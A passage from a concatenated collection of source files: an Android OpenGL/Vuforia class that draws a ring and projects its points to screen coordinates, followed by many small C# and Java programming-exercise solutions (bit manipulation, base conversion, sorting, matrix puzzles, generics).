arr.length * 2);
dlb.order(ByteOrder.nativeOrder());
mBuffer = dlb.asShortBuffer();
mBuffer.put(arr);
mBuffer.position(0);
return mBuffer;
}
}
<file_sep>/app/src/main/java/com/hillsidewatchers/connector/widget/Ring.java
package com.hillsidewatchers.connector.widget;
import android.opengl.GLES20;
import android.opengl.Matrix;
import android.util.Log;
import com.hillsidewatchers.connector.app.ImageTargets.ImageTargets;
import com.hillsidewatchers.connector.utils.ApplicationSession;
import com.hillsidewatchers.connector.utils.SampleUtils;
import com.hillsidewatchers.connector.utils.Shader;
import com.vuforia.CameraCalibration;
import com.vuforia.CameraDevice;
import com.vuforia.Matrix34F;
import com.vuforia.Renderer;
import com.vuforia.Tool;
import com.vuforia.Vec2F;
import com.vuforia.Vec3F;
import com.vuforia.VideoBackgroundConfig;
import com.vuforia.VideoMode;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.FloatBuffer;
import java.util.ArrayList;
import java.util.List;
/**
* Created by 曾翔钰 on 2016/7/31.
* 圆环
*/
public class Ring {
private static final String TAG = "Ring";
private int mProgram;
//每个点坐标数
private static final int COORDS_PER_VERTEX = 2;
//总坐标数(顶点数*每个顶点的坐标数)
private final int COORDS_COUNT = 40;
private int mPositionHandle;
private int mColorHandle;
//顶点个数
private int vertexCount;
//每个定点的字节数
private int byte_per_vertex = COORDS_PER_VERTEX * 4; // 4 bytes per vertex
private FloatBuffer vertexBuffer;
//外、内环颜色数组
float color[] = {0.63671875f, 0.76953125f, 0.22265625f, 0.5f};
//存储坐标的链表
List<Float> coordsList = new ArrayList<>();
List in_list = new ArrayList();
float radius;
float in_radius;
float[] ringCoordsArr;
//内外圆之间的比率
float rate;
// static private int scale = 80;
static private float translate = 0.0f;
private int shaderProgramID = 0;
private int vertexHandle = 0;
private int mvpMatrixHandle = 0;
// private int texSampler2DHandle = 0;
public Ring(float radius, float rate) {
this.radius = radius;
this.rate = rate;
in_radius = rate * radius;
for (int i = 0; i < COORDS_COUNT; i++) {
//将外圆坐标加入链表中
float x = (float) (radius * Math.cos((2 * Math.PI * i / COORDS_COUNT)));
float y = (float) (radius * Math.sin((2 * Math.PI * i / COORDS_COUNT)));
coordsList.add(x);
coordsList.add(y);
//将内圆坐标加入链表中
float in_x = (float) (in_radius * Math.cos((2 * Math.PI * i) / COORDS_COUNT));
float in_y = (float) (in_radius * Math.sin((2 * Math.PI * i) / COORDS_COUNT));
coordsList.add(in_x);
coordsList.add(in_y);
}
//加入起始点
float x = (float) (radius * Math.cos((2 * Math.PI * 0 / COORDS_COUNT)));
float y = (float) (radius * Math.sin((2 * Math.PI * 0 / COORDS_COUNT)));
coordsList.add(x);
coordsList.add(y);
float in_x = (float) (in_radius * Math.cos((2 * Math.PI * 0) / COORDS_COUNT));
float in_y = (float) (in_radius * Math.sin((2 * Math.PI * 0) / COORDS_COUNT));
coordsList.add(in_x);
coordsList.add(in_y);
//将链表内容转移到数组
ringCoordsArr = new float[coordsList.size()];
for (int i = 0; i < coordsList.size(); i++) {
ringCoordsArr[i] = coordsList.get(i);
Log.e("coordiante", "" + ringCoordsArr[i]);
}
vertexBuffer = (FloatBuffer) getVertexBuffer(ringCoordsArr);
// vertexBuffer2 = (FloatBuffer) getVertexBuffer(in_ringcoorAr);
vertexCount = coordsList.size() / COORDS_PER_VERTEX;
//获取点着色器
int vertexShader = Shader.getVertexShader();
//获取片段着色器
int fragmentShader = Shader.getFragmentShader();
shaderProgramID = SampleUtils.createProgramFromShaderSrc(
Shader.CUBE_MESH_VERTEX_SHADER, Shader.fragmentShaderCode);
vertexHandle = GLES20.glGetAttribLocation(shaderProgramID,
"vertexPosition");
mvpMatrixHandle = GLES20.glGetUniformLocation(shaderProgramID,
"modelViewProjectionMatrix");
mColorHandle = GLES20.glGetUniformLocation(shaderProgramID, "vColor");
// texSampler2DHandle = GLES20.glGetUniformLocation(shaderProgramID,
// "texSampler2D");
mProgram = GLES20.glCreateProgram();
GLES20.glAttachShader(mProgram, vertexShader);
GLES20.glAttachShader(mProgram, fragmentShader);
GLES20.glLinkProgram(mProgram);
}
public float[] drawModel(float[] modelViewMatrix, Renderer renderer, ApplicationSession vuforiaAppSession, Matrix34F pose, int scale, int id) {
float[] mvpMatrix = new float[16];
// //平移
// Matrix.translateM(modelViewMatrix, 0, translate,
// translate, 0.f);
// //缩放
// Matrix.scaleM(modelViewMatrix, 0, scale, scale,
// scale);
//合并矩阵
Matrix.multiplyMM(mvpMatrix, 0, vuforiaAppSession
.getProjectionMatrix().getData(), 0, modelViewMatrix, 0);
//获取指向着色器的程式(program)
GLES20.glUseProgram(shaderProgramID);
GLES20.glVertexAttribPointer(vertexHandle, 2, GLES20.GL_FLOAT,
false, 0, vertexBuffer);
GLES20.glEnableVertexAttribArray(vertexHandle);
GLES20.glUniformMatrix4fv(mvpMatrixHandle, 1, false,
mvpMatrix, 0);
// GLES20.glUniform1i(texSampler2DHandle, 0);
GLES20.glUniform4fv(mColorHandle, 1, color, 0);
GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, vertexCount);
GLES20.glDisableVertexAttribArray(vertexHandle);
SampleUtils.checkGLError("FrameMarkers render frame");
//--将图像的坐标转为屏幕坐标
int screenWidth = ImageTargets.screenWidth;
int screenHeight = ImageTargets.screenHeight;
VideoMode videoMode = CameraDevice.getInstance().getVideoMode(CameraDevice.MODE.MODE_DEFAULT);
VideoBackgroundConfig config = renderer.getVideoBackgroundConfig();
int xOffset = (screenWidth - config.getSize().getData()[0]) / 2 + config.getPosition().getData()[0];
int yOffset = (screenHeight - config.getSize().getData()[1]) / 2 - config.getPosition().getData()[1];
float maxX = 0;
float maxY = 0;
float minX = 0;
float minY = 0;
Log.e("Ring", "画一次");
for (int i = 0; i < ringCoordsArr.length; i += 2) {
CameraCalibration calibration = CameraDevice.getInstance().getCameraCalibration();
float temp[] = new float[]{ringCoordsArr[i], ringCoordsArr[i + 1], 0.0f};
Vec2F cameraPoint = Tool.projectPoint(calibration, pose, new Vec3F(temp));
float rotatedX = videoMode.getHeight() - cameraPoint.getData()[1];
float rotatedY = cameraPoint.getData()[0];
float screenCoordinateX = rotatedX * config.getSize().getData()[0] / videoMode.getHeight() + xOffset;
float screenCoordinateY = rotatedY * config.getSize().getData()[1] / videoMode.getWidth() - yOffset;
// Log.e("Ring", "" + screenCoordinateX + "++" + screenCoordinateY);
if (i == 0) {
minX = screenCoordinateX;
minY = screenCoordinateY;
}
if (screenCoordinateX > maxX)
maxX = screenCoordinateX;
if (screenCoordinateY > maxY)
maxY = screenCoordinateY;
if (screenCoordinateX < minX)
minX = screenCoordinateX;
if (screenCoordinateY < minY)
minY = screenCoordinateY;
}
float ringCenterX = (maxX + minX) / 2;
float ringCenterY = (maxY + minY) / 2;
float ringRadius = ((maxX - minX) / 2 + (maxY - minY) / 2) / 2 * scale;
return new float[]{ringCenterX, ringCenterY, ringRadius};
// Log.e("x范围:", "" + minX + "~~~" + maxX);
// Log.e("y范围:", "" + minY + "~~~" + maxY);
// Log.e("中心点:", "" + ringCenterX + "," + ringCenterY);
// Log.e("半径:", "" + radius);
//手指
// if (startX != 0 || startY != 0) {
// Log.e("手指触碰点", "" + startX + "--" + startY);
// if (startX <= ringCenterX + ringRadius && startX >= ringCenterX - ringRadius && startY <= ringCenterY + ringRadius && startY >= ringCenterY - ringRadius)
// Log.e("手指点", "在图形中");
// }
}
/**
* openGL ES采用列向量,应该是Q=MP,即矩阵*坐标
*
* @param left M
* @param right P
* @return
*/
public float[] getResult(float left[], float right[]) {
float result[] = new float[4];
for (int i = 0; i < 4; i++) {
float temp = 0;
for (int j = 0; j < 4; j++) {
temp += left[i + j * 4] * right[j];
}
result[i] = temp;
}
return result;
}
/**
* 为存储顶点的数组初始化空间
*
* @param arr 顶点数组
* @return FloatBuffer
*/
public Buffer getVertexBuffer(float[] arr) {
FloatBuffer mBuffer;
//先初始化Bytebuffer,一份float占4个字节,因此乘以4
ByteBuffer qbb = ByteBuffer.allocateDirect(arr.length * 4);
//数组排列用nativeOrder
qbb.order(ByteOrder.nativeOrder());
mBuffer = qbb.asFloatBuffer();
//将数组放进缓冲区
mBuffer.put(arr);
//重置指针为第一个位置
mBuffer.position(0);
return mBuffer;
}
}
| 103592a5c071213d9f4e3c490653fe91e1261f95 | [
"Java"
] | 3 | Java | shiweixian2/Connector | 173446d69eec4e4ad62f7ac4b44e7d60bdb00268 | bc9704e7b7a9cf149562907ab0f97efe0ce429f7 |
refs/heads/master | <file_sep>package pr01_GenericBox;
public class Box<T> {
private T data;
public Box(T data) {
this.setData(data);
}
public T getData() {
return data;
}
private void setData(T data) {
this.data = data;
}
@Override
public String toString() {
return String.format("%s: %s", this.getData().getClass().getName(), this.getData());
}
}<file_sep>using System;
class FirstBit
{
static void Main()
{
//Firts way: Premestvam edenicata pod bita koito tyrsq i sled tova premestwam poluchenoto bitovo chislo
//vednuj na dqsno, za da vurna bita na 0 poziciq. Printiram.
//try
//{
// Console.Write("Enter an integer number: ");
// int inputNumber = int.Parse(Console.ReadLine());
// int result = (inputNumber & (1 << 1)) >> 1;
// Console.WriteLine(result);
//}
//catch (Exception e)
//{
// Console.WriteLine(e.Message);
//}
//Second way: mestq bitowete na inputa vednuj na dqsno, za da otide turseniq bit na 0 poziciq. & 1 i printiram.
try
{
Console.Write("Enter an integer number: ");
int inputNumber = int.Parse(Console.ReadLine());
int bitAtPosition1 = inputNumber >> 1 & 1;
Console.WriteLine(bitAtPosition1);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>using System;
class BinaryToDecimal
{
static void Main()
{
string binary = Console.ReadLine();
int position = binary.Length;
long sum = 0;
for (int i = 0; i < binary.Length; i++)
{
long bit = (long)Char.GetNumericValue(binary[position - 1 - i]);
sum += bit * (long)Math.Pow(2, i);
}
Console.WriteLine(sum);
}
}
<file_sep>import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
public class Pr04_SortStudents {
public static void main(String[] args) throws IOException {
List<String> students = new ArrayList<>();
try (BufferedReader reader = new BufferedReader(new InputStreamReader(System.in))) {
while (true) {
String name = reader.readLine();
if ("END".equals(name)) {
break;
}
students.add(name);
}
students = students.stream()
.sorted((name1, name2) -> {
String[] names1 = name1.split(" ");
String[] names2 = name2.split(" ");
String firstName1 = names1[0];
String lastName1 = names1[1];
String firstName2 = names2[0];
String lastName2 = names2[1];
if (lastName1.compareTo(lastName2) == 0) {
return firstName2.compareTo(firstName1);
}
return lastName1.compareTo(lastName2);
}).collect(Collectors.toList());
for (String student : students) {
System.out.println(student);
}
}
}
}
<file_sep>using System;
class ZeroSubset
{
static void Main()
{
string[] arr = Console.ReadLine().Split(' ');
int num1 = int.Parse(arr[0]);
int num2 = int.Parse(arr[1]);
int num3 = int.Parse(arr[2]);
int num4 = int.Parse(arr[3]);
int num5 = int.Parse(arr[4]);
if (num1 + num2 == 0)
Console.WriteLine("{0} + {1} = {2}", num1, num2, num1 + num2);
if (num1 + num3 == 0)
Console.WriteLine("{0} + {1} = {2}", num1, num3, num1 + num3);
if (num1 + num4 == 0)
Console.WriteLine("{0} + {1} = {2}", num1, num4, num1 + num4);
if (num1 + num5 == 0)
Console.WriteLine("{0} + {1} = {2}", num1, num5, num1 + num5);
if (num2 + num3 == 0)
Console.WriteLine("{0} + {1} = {2}", num2, num3, num1 + num3);
if (num2 + num4 == 0)
Console.WriteLine("{0} + {1} = {2}", num2, num4, num1 + num4);
if (num2 + num5 == 0)
Console.WriteLine("{0} + {1} = {2}", num2, num5, num1 + num5);
if (num3 + num4 == 0)
Console.WriteLine("{0} + {1} = {2}", num3, num4, num1 + num4);
if (num3 + num5 == 0)
Console.WriteLine("{0} + {1} = {2}", num3, num5, num1 + num5);
if (num4 + num5 == 0)
Console.WriteLine("{0} + {1} = {2}", num4, num5, num1 + num5);
if ((num1 + num2 + num3) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num1, num2, num3, num1 + num2 + num3);
if ((num1 + num3 + num4) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num1, num3, num4, num1 + num3 + num4);
if ((num1 + num3 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num1, num3, num5, num1 + num3 + num5);
if ((num1 + num4 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num1, num4, num5, num1 + num4 + num5);
if ((num2 + num3 + num4) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num2, num3, num4, num2 + num3 + num4);
if ((num2 + num4 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num2, num4, num5, num2 + num4 + num5);
if ((num3 + num4 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num3, num4, num5, num3 + num4 + num5);
if ((num1 + num2 + num4) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num1, num2, num4, num1 + num2 + num4);
if ((num1 + num2 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num1, num2, num5, num1 + num2 + num5);
if ((num2 + num3 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} = {3}", num2, num3, num5, num2 + num3 + num5);
if ((num1 + num2 + num3 + num4) == 0)
Console.WriteLine("{0} + {1} + {2} + {3} = {4}", num1, num2, num3, num4, num1 + num2 + num3 + num4);
if ((num1 + num2 + num3 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} + {3} = {4}", num1, num2, num3, num5, num1 + num2 + num3 + num5);
if ((num2 + num3 + num4 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} + {3} = {4}", num2, num3, num4, num5, num2 + num3 + num4 + num5);
if ((num1 + num3 + num4 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} + {3} = {4}", num1, num3, num4, num5, num1 + num3 + num4 + num5);
if ((num1 + num2 + num4 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} + {3} = {4}", num1, num2, num4, num5, num1 + num2 + num4 + num5);
if ((num1 + num2 + num4 + num5) == 0)
Console.WriteLine("{0} + {1} + {2} + {3} + {4} = {5}", num1, num2, num3, num4, num5, num1 + num2 + num3 + num4 + num5);
else
Console.WriteLine("no zero subset");
}
}<file_sep>import java.util.Scanner;
public class Pr16_TargetPractice {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int rows = sc.nextInt();
int cols = sc.nextInt();
sc.nextLine();
String snake = sc.nextLine();
boolean isEvenRows = rows % 2 == 0;
int snakeIndex = 0;
char[][] matrix = new char[rows][cols];
for (int row = rows - 1; row >= 0; row--) {
boolean isEvenRowIndex = row % 2 == 0;
if (isEvenRows) {
if (isEvenRowIndex) {
isEvenRowIndex = false;
} else {
isEvenRowIndex = true;
}
}
if (isEvenRowIndex) {
for (int col = cols - 1; col >= 0; col--) {
matrix[row][col] = snake.charAt(snakeIndex % snake.length());
snakeIndex++;
}
} else {
for (int col = 0; col < cols; col++) {
matrix[row][col] = snake.charAt(snakeIndex % snake.length());
snakeIndex++;
}
}
}
int rowIndex = sc.nextInt();
int colIndex = sc.nextInt();
int radius = sc.nextInt();
for (int row = 0; row < matrix.length; row++) {
for (int col = 0; col < matrix[row].length; col++) {
int x = Math.abs(colIndex - col);
int y = Math.abs(rowIndex - row);
double distance = Math.sqrt(x * x + y * y);
if (distance <= radius) {
matrix[row][col] = ' ';
}
}
}
int[] colCounter = new int[cols];
for (int col = 0; col < cols; col++) {
for (int row = 0; row < rows; row++) {
if (matrix[row][col] != ' ') {
colCounter[col]++;
}
}
}
char[][] newMatrix = new char[cols][];
for (int row = 0; row < newMatrix.length; row++) {
newMatrix[row] = new char[colCounter[row]];
}
for (int row = 0; row < cols; row++) {
int colIndexNewMatrix = 0;
for (int col = rows - 1; col >= 0; col--) {
if (matrix[col][row] != ' ') {
newMatrix[row][colIndexNewMatrix] = matrix[col][row];
colIndexNewMatrix++;
}
}
}
for (int row = rows - 1; row >= 0; row--) {
for (int col = 0; col < cols; col++) {
if (newMatrix[col].length > 0 && row < newMatrix[col].length) {
System.out.print(newMatrix[col][row]);
} else {
System.out.print(" ");
}
}
System.out.println();
}
}
}
<file_sep>using System;
class HexadecimalToDecimal
{
static void Main()
{
string hexadecimal = Console.ReadLine().ToUpper();
int position = hexadecimal.Length;
long decimalRepresentation = 0;
for (int i = 0; i < position; i++)
{
char charakterLastIndex = hexadecimal[position - 1 - i];
int numbers = 0;
if (charakterLastIndex == 'A' || charakterLastIndex == 'B' || charakterLastIndex == 'C' ||
charakterLastIndex == 'D' || charakterLastIndex == 'E' || charakterLastIndex == 'F')
{
switch (charakterLastIndex)
{
case 'A':
numbers = (charakterLastIndex - 55);
break;
case 'B':
numbers = (charakterLastIndex - 55);
break;
case 'C':
numbers = (charakterLastIndex - 55);
break;
case 'D':
numbers = (charakterLastIndex - 55);
break;
case 'E':
numbers = (charakterLastIndex - 55);
break;
case 'F':
numbers = (charakterLastIndex - 55);
break;
}
decimalRepresentation += numbers * (long)Math.Pow(16, i);
}
else
{
long numberLastIndex = (long)Char.GetNumericValue(charakterLastIndex);
decimalRepresentation += numberLastIndex * (long)Math.Pow(16, i);
}
}
Console.WriteLine(decimalRepresentation);
}
}
<file_sep>using System;
class CalculateHypotenuse
{
static void Main()
{
Console.Write("Enter a positive integer number - first cathet: ");
int a = int.Parse(Console.ReadLine());
Console.Write("Enter a positive integer number - second cathet: ");
int b = int.Parse(Console.ReadLine());
double c = Math.Sqrt(a * a + b * b);
Console.WriteLine("Your hypotenus is = " + c);
}
}
<file_sep>package pr05_BorderControl;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
List<Society> society = new ArrayList<>();
while (true) {
String[] input = reader.readLine().split("\\s+");
if (input[0].equals("End")) {
break;
}
if (input.length == 3) {
Society person = new Ctizens(input[0], Integer.parseInt(input[1]), input[2]);
society.add(person);
} else {
Society robot = new Robots(input[0], input[1]);
society.add(robot);
}
}
String pattern = reader.readLine();
for (Society person : society) {
if (person.getId().endsWith(pattern)) {
System.out.println(person.getId());
}
}
}
}
<file_sep>using System;
class Program
{
static void Main()
{
int max = int.Parse(Console.ReadLine());
int min = int.Parse(Console.ReadLine());
if (min > max)
{
max = min + max;
min = min - max;
max = min - max;
}
int remainder = max % min;
if (remainder == 0)
{
Console.WriteLine(min);
}
else
{
while (remainder > 0)
{
max = min;
min = remainder;
remainder = max % min;
}
Console.WriteLine(min);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace LongestAreaInArray
{
class LongestAreaInArray
{
static void Main()
{
int n = int.Parse(Console.ReadLine());//sushtoto raboti i za 12 zadacha
string[] stringArray = new string[n];
for (int i = 0; i < stringArray.Length; i++)
{
stringArray[i] = Console.ReadLine();
}
List<int> sequence = new List<int>();
List<string> str = new List<string>();
for (int i = 0; i < stringArray.Length; i++)
{
if (i < stringArray.Length - 1)
{
if (stringArray[i] == stringArray[i + 1])
{
continue;
}
}
int counter = 0;
for (int j = 0; j < stringArray.Length; j++)
{
if (stringArray[i] == stringArray[j])
{
counter++;
}
}
sequence.Add(counter);
str.Add(stringArray[i]);
}
int maxSequence = sequence.Max();
string maxString = str[sequence.IndexOf(maxSequence)];
Console.WriteLine(maxSequence);
for (int i = 0; i < maxSequence; i++)
{
Console.WriteLine(maxString);
}
}
}
}
<file_sep>using System;
class BiggestOf5Numbers
{
static void Main()
{
double a = double.Parse(Console.ReadLine());
double b = double.Parse(Console.ReadLine());
double c = double.Parse(Console.ReadLine());
double d = double.Parse(Console.ReadLine());
double e = double.Parse(Console.ReadLine());
//if (first >= second && first >= third && first >= fourth && first >= fifth)
//{
// Console.WriteLine(first);
//}
//else if (second >= first && second >= third && second >= fourth && second >= fifth)
//{
// Console.WriteLine(second);
//}
//else if (third >= first && third >= second && third >= fourth && third >= fifth)
//{
// Console.WriteLine(third);
//}
//else if (fourth >= first && fourth >= second && fourth >= third && fourth >= fifth)
//{
// Console.WriteLine(fourth);
//}
//else if (fifth >= first && fifth >= second && fifth >= third && fifth >= fourth)
//{
// Console.WriteLine(fifth);
//}
if (a > b)
{
if (a > c)
{
if (a > d)
{
if (a > e)
{
Console.WriteLine(a);
}
else
{
Console.WriteLine(e);
}
}
else
{
if (d > e)
{
Console.WriteLine(d);
}
else
{
Console.WriteLine(e);
}
}
}
else
{
if (c > d)
{
if (c > e)
{
Console.WriteLine(c);
}
else
{
Console.WriteLine(e);
}
}
else
{
if (d > e)
{
Console.WriteLine(d);
}
else
{
Console.WriteLine(e);
}
}
}
}
else
{
if (b > c)
{
if (b > d)
{
if (b > e)
{
Console.WriteLine(b);
}
else
{
Console.WriteLine(e);
}
}
else
{
if (d > e)
{
Console.WriteLine(d);
}
else
{
Console.WriteLine(e);
}
}
}
else
{
if (c > d)
{
if (c > e)
{
Console.WriteLine(c);
}
else
{
Console.WriteLine(e);
}
}
else
{
if (d > e)
{
Console.WriteLine(d);
}
else
{
Console.WriteLine(e);
}
}
}
}
}
}
<file_sep>import java.util.ArrayDeque;
import java.util.Arrays;
import java.util.Queue;
import java.util.Scanner;
public class Pr04_BasicQueueOperations {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
// Taking the input
int[] firstNums = Arrays.stream(sc.nextLine().split(" "))
.mapToInt(Integer::parseInt)
.toArray();
int countToAdd = firstNums[0];
int countToRemove = firstNums[1];
int existingNum = firstNums[2];
String[] numbers = sc.nextLine().split(" ");
Queue<Integer> queue = new ArrayDeque<>();
// Adding elements to queue
for (int i = 0; i < countToAdd; i++) {
queue.add(Integer.parseInt(numbers[i]));
}
// Remove elements from queue
for (int i = 0; i < countToRemove; i++) {
queue.remove();
}
// Finding is it exist
// Finding the min number
boolean isExist = false;
int minNum = Integer.MAX_VALUE;
if (queue.size() == 0) {
minNum = 0;
}
while (queue.size() > 0) {
if (queue.peek() == existingNum) {
isExist = true;
}
if (queue.peek() < minNum) {
minNum = queue.peek();
}
queue.remove();
}
// Printing
if (isExist) {
System.out.println(isExist);
} else {
System.out.println(minNum);
}
}
}
<file_sep>using System;
class BitExchangeAdvanced
{
static void Main()
{
uint number = uint.Parse(Console.ReadLine());
int firstStartPosition = int.Parse(Console.ReadLine());
int secondStartPosition = int.Parse(Console.ReadLine());
int lenghtOfBits = int.Parse(Console.ReadLine());
bool overLapping = Math.Abs(firstStartPosition - secondStartPosition) <= lenghtOfBits
&& firstStartPosition >= 0 && secondStartPosition >= 0
&& firstStartPosition <= 31 && secondStartPosition <= 31;
bool outOfRange = (firstStartPosition + lenghtOfBits - 1 > 31) || (secondStartPosition + lenghtOfBits - 1 > 31);
if (overLapping)
{
Console.WriteLine("overlapping");
}
if (outOfRange)
{
Console.WriteLine("out of range");
}
if (!overLapping && !outOfRange)
{
string mask = new string('1', lenghtOfBits);
uint maskUint = Convert.ToUInt32(mask, 2);
uint firstCoupleOfBits = (number & (maskUint << firstStartPosition)) >> firstStartPosition;
uint secondCoupleOfBits = (number & (maskUint << secondStartPosition)) >> secondStartPosition;
number &= ~(maskUint << firstStartPosition);
number &= ~(maskUint << secondStartPosition);
number |= firstCoupleOfBits << secondStartPosition;
number |= secondCoupleOfBits << firstStartPosition;
Console.WriteLine(number);
}
}
}
<file_sep>using System;
class SignOfProduct
{
static void Main()
{
double firstNum = double.Parse(Console.ReadLine());
double secondNum = double.Parse(Console.ReadLine());
double thirdNum = double.Parse(Console.ReadLine());
bool isFirstNegative = firstNum < 0;
bool isSecondNegative = secondNum < 0;
bool isThirdNegative = thirdNum < 0;
string product = "Negative";
if (isFirstNegative || isSecondNegative || isThirdNegative)
{
if (isFirstNegative && isSecondNegative || isSecondNegative && isThirdNegative || isFirstNegative && isThirdNegative)
{
if (isFirstNegative && isSecondNegative && isThirdNegative)
{
Console.WriteLine(product);
}
else
{
product = "Positive";
Console.WriteLine(product);
}
}
else
{
Console.WriteLine(product);
}
}
else
{
product = "Positive";
Console.WriteLine(product);
}
}
}
<file_sep>using System;
class ThirdDigitIs7
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
bool isThirdDigit7 = ( (number / 100) % 10 ) == 7;
Console.WriteLine(isThirdDigit7);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>using System;
class RandomizeNumbers1ToN
{
static void Main()
{
int n = int.Parse(Console.ReadLine());
int[] array = new int[n];
//inicializirane na masiwa
for (int i = 0; i < array.Length; i++)
{
array[i] = i + 1;
}
Console.WriteLine(String.Join(" ", array));
Random index = new Random();
//razburkwane na masiva chrez ramenqne na stoinostite na indexite na masiwa!
//dori rondamIndexa da mi e vinagi edin i susht, shte se poluchi 5 1 2 3 4
for (int j = 0; j < array.Length; j++)
{
int randomIndex = index.Next(0, n);
int valueHolderRandomIndex = array[randomIndex];
array[randomIndex] = array[j];
array[j] = valueHolderRandomIndex;
}
Console.WriteLine(String.Join(" ", array));
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace LongestWordInText
{
class LongestWordInText
{
static void Main()
{
string[] strArr = Console.ReadLine().Split(new char[] { ' ', '.' }, StringSplitOptions.RemoveEmptyEntries);
string longestWord = strArr[0];
for (int i = 0; i < strArr.Length; i++)
{
if (strArr[i].Length > longestWord.Length)
{
longestWord = strArr[i];
}
}
Console.WriteLine(longestWord);
}
}
}
<file_sep>package pr05_GenericCountMethodString;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
List<Box<String>> data = new ArrayList<>();
int lineCount = Integer.parseInt(reader.readLine());
for (int i = 0; i < lineCount; i++) {
data.add(new Box(reader.readLine()));
}
String element = reader.readLine();
System.out.println(countGreater(data, new Box<>(element)));
}
private static <T extends Comparable<T>> int countGreater(List<T> elements, T element) {
int count = 0;
for (T listElement : elements) {
if (listElement.compareTo(element) > 0) {
count++;
}
}
return count;
}
}
<file_sep>package pr06_RawData;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
int lineCount = Integer.parseInt(reader.readLine());
List<Car> cars = new ArrayList<>();
for (int i = 0; i < lineCount; i++) {
String[] input = reader.readLine().split("\\s+");
String model = input[0];
double engineSpeed = Double.parseDouble(input[1]);
double enginePower = Double.parseDouble(input[2]);
double cargoWeight = Double.parseDouble(input[3]);
String cargoType = input[4];
//<Tire1Pressure> <Tire1Age> <Tire2Pressure> <Tire2Age> <Tire3Pressure> <Tire3Age> <Tire4Pressure> <Tire4Age>
double tire1Pressure = Double.parseDouble(input[5]);
double tire1Age = Double.parseDouble(input[6]);
double tire2Pressure = Double.parseDouble(input[7]);
double tire2Age = Double.parseDouble(input[8]);
double tire3Pressure = Double.parseDouble(input[9]);
double tire3Age = Double.parseDouble(input[10]);
double tire4Pressure = Double.parseDouble(input[11]);
double tire4Age = Double.parseDouble(input[12]);
Tire tire1 = new Tire(tire1Pressure, tire1Age);
Tire tire2 = new Tire(tire2Pressure, tire2Age);
Tire tire3 = new Tire(tire3Pressure, tire3Age);
Tire tire4 = new Tire(tire4Pressure, tire4Age);
List<Tire> tires = new ArrayList<>();
tires.add(tire1);
tires.add(tire2);
tires.add(tire3);
tires.add(tire4);
Car car = new Car(model, engineSpeed, enginePower, cargoWeight, cargoType, tires);
cars.add(car);
}
String command = reader.readLine();
if ("fragile".equals(command)) {
cars.stream().filter(car -> {
boolean isFragile = car.getCargoType().equals("fragile");
List<Tire> tires = car.getTires().stream()
.filter(tire -> tire.getTirePressure() < 1)
.collect(Collectors.toList());
if (isFragile && tires.size() != 0) {
return true;
}
return false;
})
.forEach(car -> System.out.println(car.getModel()));
} else {
cars.stream()
.filter(car -> car.getCargoType().equals("flamable") && car.getEnginePower() > 250)
.forEach(car -> System.out.println(car.getModel()));
}
}
}
<file_sep>import java.util.Scanner;
public class Pr20_TheHeiganDance {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int playerHP = 18_500;
double heiganHP = 3_000_000;
int playerRow = 7;
int playerCol = 7;
boolean isPoisened = false;
boolean isHeiganDead = false;
boolean isPlayerDead = false;
String killedBySpell = "";
double damageForHeigan = sc.nextDouble();
sc.nextLine();
while (sc.hasNextLine()) {
String line = sc.nextLine();
if ("".equals(line)) {
break;
}
String[] input = line.split(" ");
String comand = input[0];
int spellRow = Integer.parseInt(input[1]);
int spellCol = Integer.parseInt(input[2]);
heiganHP -= damageForHeigan;
isHeiganDead = heiganHP <= 0;
if (isPoisened) {
playerHP -= 3500;
isPoisened = false;
isPlayerDead = playerHP <= 0;
}
if (isHeiganDead || isPlayerDead) {
break;
}
boolean isInSpellRange = (spellRow - 1) <= playerRow && playerRow <= (spellRow + 1) &&
(spellCol - 1) <= playerCol && playerCol <= (spellCol + 1);
if (isInSpellRange) {
boolean canMoveUp = playerRow - 1 >= 0 && playerRow - 1 < spellRow - 1;
if (canMoveUp) {
playerRow--;
} else {
boolean canMoveRight = playerCol + 1 <= 14 && playerCol + 1 > spellCol + 1;
if (canMoveRight) {
playerCol++;
} else {
boolean canMoveDown = playerRow + 1 <= 14 && playerRow + 1 > spellRow + 1;
if (canMoveDown) {
playerRow++;
} else {
